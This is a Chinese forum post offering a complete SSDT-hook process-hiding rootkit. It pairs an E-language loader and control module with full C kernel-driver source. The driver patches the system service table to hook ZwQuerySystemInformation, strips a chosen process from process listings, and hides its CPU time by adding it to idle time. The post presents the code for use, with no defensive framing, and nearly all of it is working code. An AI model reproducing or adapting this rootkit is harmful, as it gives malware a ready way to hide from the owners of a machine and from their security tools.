ssdt Hook 隐藏进程 , 易语言例程+驱动源码

大理寺少卿

驱动在 WDK 7600.16385.0 编译通过.

易语言编译的模块提供了3个接口：

驱动操作.加载 ("服务名[文本型]", "驱动名[文本型]", "驱动路径[文本型]")
驱动操作.通信 ("驱动指令[整数型]", "输入缓冲指针[整数型]", "输入缓冲长度[整数型]", "输出缓冲指针[整数型]", "输出缓冲长度[整数型]")
驱动操作.卸载 ()


调用代码也很简单：

.版本 2

.程序集 窗口程序集1
.程序集变量 驱动, 驱动操作
.程序集变量 ProcessId, 整数型

.子程序 __启动窗口_创建完毕

.如果真 (取反 (驱动.加载 (“HideProcess”, “//./HideProcess”, 取运行目录 () ＋ “\HideProcess.sys”)))
    信息框 (“加载驱动失败!”, #错误图标, “错误”)
    结束 ()
.如果真结束


.子程序 __启动窗口_将被销毁

ProcessId ＝ 0
驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)

.子程序 _开关_被单击

.如果 (开关.标题 ＝ “HideOff”)
    ProcessId ＝ 0
    .如果真 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0))
        开关.标题 ＝ “HideOn”
    .如果真结束

.否则
    ProcessId ＝ GetCurrentProcessId ()
    .如果 (取反 (驱动.通信 (4096, lstrcpyn (ProcessId, ProcessId, 0), 4, 0, 0)))
        信息框 (“隐藏失败!”, #错误图标, “错误”)
    .否则
        开关.标题 ＝ “HideOff”
    .如果结束


驱动实现如下：

1. #include "ntddk.h"
   
2. #include "drvcommon.h"
   
3. 
   
4. #pragma pack(1)
   
5. typedef struct ServiceDescriptorEntry {
   
6.         unsigned int *ServiceTableBase;
   
7.         unsigned int *ServiceCounterTableBase;
   
8.         unsigned int NumberOfServices;
   
9.         unsigned char *ParamTableBase;
   
10. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
    
11. #pragma pack()
    
12. 
    
13. __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
    
14. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
    
15. 
    
16. 
    
17. PMDL  g_pmdlSystemCall;
    
18. PVOID *MappedSystemCallTable;
    
19. #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
    
20. #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
    
21.        _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    
22. 
    
23. #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
    
24.        InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
    
25. 
    
26. 
    
27. struct _SYSTEM_THREADS
    
28. {
    
29.         LARGE_INTEGER           KernelTime;
    
30.         LARGE_INTEGER           UserTime;
    
31.         LARGE_INTEGER           CreateTime;
    
32.         ULONG                           WaitTime;
    
33.         PVOID                           StartAddress;
    
34.         CLIENT_ID                       ClientIs;
    
35.         KPRIORITY                       Priority;
    
36.         KPRIORITY                       BasePriority;
    
37.         ULONG                           ContextSwitchCount;
    
38.         ULONG                           ThreadState;
    
39.         KWAIT_REASON            WaitReason;
    
40. };
    
41. 
    
42. struct _SYSTEM_PROCESSES
    
43. {
    
44.         ULONG                           NextEntryDelta;
    
45.         ULONG                           ThreadCount;
    
46.         ULONG                           Reserved[6];
    
47.         LARGE_INTEGER           CreateTime;
    
48.         LARGE_INTEGER           UserTime;
    
49.         LARGE_INTEGER           KernelTime;
    
50.         UNICODE_STRING          ProcessName;
    
51.         KPRIORITY                       BasePriority;
    
52.         ULONG                           ProcessId;
    
53.         ULONG                           InheritedFromProcessId;
    
54.         ULONG                           HandleCount;
    
55.         ULONG                           Reserved2[2];
    
56.         VM_COUNTERS                     VmCounters;
    
57.         IO_COUNTERS                     IoCounters;
    
58.         struct _SYSTEM_THREADS          Threads[1];
    
59. };
    
60. 
    
61. struct _SYSTEM_PROCESSOR_TIMES
    
62. {
    
63.                 LARGE_INTEGER                                        IdleTime;
    
64.                 LARGE_INTEGER                                        KernelTime;
    
65.                 LARGE_INTEGER                                        UserTime;
    
66.                 LARGE_INTEGER                                        DpcTime;
    
67.                 LARGE_INTEGER                                        InterruptTime;
    
68.                 ULONG                                                        InterruptCount;
    
69. };
    
70. 
    
71. 
    
72. NTSYSAPI
    
73. NTSTATUS
    
74. NTAPI ZwQuerySystemInformation(
    
75.             IN ULONG SystemInformationClass,
    
76.                         IN PVOID SystemInformation,
    
77.                         IN ULONG SystemInformationLength,
    
78.                         OUT PULONG ReturnLength);
    
79. 
    
80. 
    
81. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
    
82.             ULONG SystemInformationCLass,
    
83.                         PVOID SystemInformation,
    
84.                         ULONG SystemInformationLength,
    
85.                         PULONG ReturnLength
    
86. );
    
87. 
    
88. 
    
89. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
    
90. ULONG                                                        pid = 0;
    
91. PDRIVER_OBJECT pdoGlobalDrvObj = 0;
    
92. LARGE_INTEGER                                        m_UserTime;
    
93. LARGE_INTEGER                                        m_KernelTime;
    
94. 
    
95. #define DEVICE_NAME                        "\\Device\\HideProcess"
    
96. #define SYMLINK_NAME                "\\DosDevices\\HideProcess"
    
97. PRESET_UNICODE_STRING(usDeviceName, DEVICE_NAME);
    
98. PRESET_UNICODE_STRING(usSymlinkName, SYMLINK_NAME);
    
99. 
    
100. 
     
101. 
     
102. NTSTATUS NewZwQuerySystemInformation(
     
103.             IN ULONG SystemInformationClass,
     
104.             IN PVOID SystemInformation,
     
105.             IN ULONG SystemInformationLength,
     
106.             OUT PULONG ReturnLength)
     
107. {
     
108. 
     
109.    NTSTATUS ntStatus;
     
110. 
     
111.    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
     
112.                                         SystemInformationClass,
     
113.                                         SystemInformation,
     
114.                                         SystemInformationLength,
     
115.                                         ReturnLength );
     
116. 
     
117.    if( NT_SUCCESS(ntStatus))
     
118.    {
     
119.       if(SystemInformationClass == 5)
     
120.       {                               
     
121.                  struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
     
122.          struct _SYSTEM_PROCESSES *prev = NULL;
     
123.                  
     
124.                  while(curr)
     
125.                  {
     
126.                         if (curr->ProcessId != 0 && pid != 0)
     
127.                         {
     
128.                                 if(curr->ProcessId == pid)
     
129.                                 {
     
130.                                         m_UserTime.QuadPart += curr->UserTime.QuadPart;
     
131.                                         m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
     
132. 
     
133.                                         if(prev)
     
134.                                         {
     
135.                                                 if(curr->NextEntryDelta)
     
136.                                                         prev->NextEntryDelta += curr->NextEntryDelta;
     
137.                                                 else
     
138.                                                         prev->NextEntryDelta = 0;
     
139.                                         }
     
140.                                         else
     
141.                                         {
     
142.                                                 if(curr->NextEntryDelta)
     
143.                                                 {
     
144.                                                         (char *)SystemInformation += curr->NextEntryDelta;
     
145.                                                 }
     
146.                                                 else
     
147.                                                         SystemInformation = NULL;
     
148.                                         }
     
149.                                 }
     
150.                         }
     
151.                         else
     
152.                         {
     
153.                            curr->UserTime.QuadPart += m_UserTime.QuadPart;
     
154.                            curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
     
155.                            m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
     
156.                         }
     
157.                         prev = curr;
     
158.                     if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
     
159.                     else curr = NULL;
     
160.              }
     
161.           }
     
162.           else if (SystemInformationClass == 8)
     
163.           {
     
164.          struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
     
165.          times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
     
166.           }
     
167. 
     
168.    }
     
169.    return ntStatus;
     
170. }
     
171. 
     
172. 
     
173. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
     
174. {
     
175.    DbgPrint("ROOTKIT: OnUnload called\n");
     
176. 
     
177.    UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
     
178. 
     
179.    if(g_pmdlSystemCall)
     
180.    {
     
181.       MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
     
182.       IoFreeMdl(g_pmdlSystemCall);
     
183.    }
     
184. }
     
185. 
     
186. NTSTATUS OnDispatchCreateClose(
     
187.     IN PDEVICE_OBJECT                DeviceObject,
     
188.     IN PIRP                                        Irp
     
189.     )
     
190. {
     
191.     NTSTATUS status = STATUS_SUCCESS;
     
192.     Irp->IoStatus.Status = status;
     
193.     Irp->IoStatus.Information = 0;
     
194.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
     
195.     return status;
     
196. }
     
197. 
     
198. NTSTATUS OnDispatchDeviceControl(
     
199.     IN PDEVICE_OBJECT                DeviceObject,
     
200.     IN PIRP                                        Irp
     
201.     )
     
202. {
     
203.     NTSTATUS status = STATUS_SUCCESS;
     
204.     PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
     
205. 
     
206.     switch(irpSp->Parameters.DeviceIoControl.IoControlCode)
     
207.     {
     
208.     case 0x1000:
     
209.                 pid = *(PULONG)Irp->AssociatedIrp.SystemBuffer;
     
210.         break;
     
211.     default:
     
212.         Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
     
213.         Irp->IoStatus.Information = 0;
     
214.                 pid = 0;
     
215.         break;
     
216.     }
     
217. 
     
218.     status = Irp->IoStatus.Status;
     
219.     IoCompleteRequest(Irp, IO_NO_INCREMENT);
     
220.     return status;
     
221. }
     
222. 
     
223. 
     
224. NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
     
225.                                          IN PUNICODE_STRING theRegistryPath)
     
226. {
     
227.         PDEVICE_OBJECT pdoDeviceObj = 0;
     
228.     NTSTATUS status = STATUS_UNSUCCESSFUL;
     
229.     pdoGlobalDrvObj = theDriverObject;
     
230. 
     
231.     if(!NT_SUCCESS(status = IoCreateDevice(
     
232.         theDriverObject,
     
233.         0,
     
234.         &usDeviceName,
     
235.         FILE_DEVICE_UNKNOWN,
     
236.         FILE_DEVICE_SECURE_OPEN,
     
237.         FALSE,
     
238.         &pdoDeviceObj
     
239.         )))
     
240.     {
     
241.         return status;
     
242.     };
     
243. 
     
244.     if(!NT_SUCCESS(status = IoCreateSymbolicLink(
     
245.         &usSymlinkName,
     
246.         &usDeviceName
     
247.         )))
     
248.     {
     
249.         IoDeleteDevice(pdoDeviceObj);
     
250.         return status;
     
251.     }
     
252. 
     
253.    theDriverObject->MajorFunction[IRP_MJ_CREATE] =
     
254.    theDriverObject->MajorFunction[IRP_MJ_CLOSE] = OnDispatchCreateClose;
     
255.    theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OnDispatchDeviceControl;
     
256.    theDriverObject->DriverUnload  = OnUnload;
     
257. 
     
258. 
     
259.    m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
     
260. 
     
261. 
     
262.    OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
     
263. 
     
264.    g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
     
265.    if(!g_pmdlSystemCall)
     
266.       return STATUS_UNSUCCESSFUL;
     
267. 
     
268.    MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
     
269.    g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
     
270.    MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
     
271.    HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
     
272.                               
     
273.    return STATUS_SUCCESS;
     
274. }
     

复制代码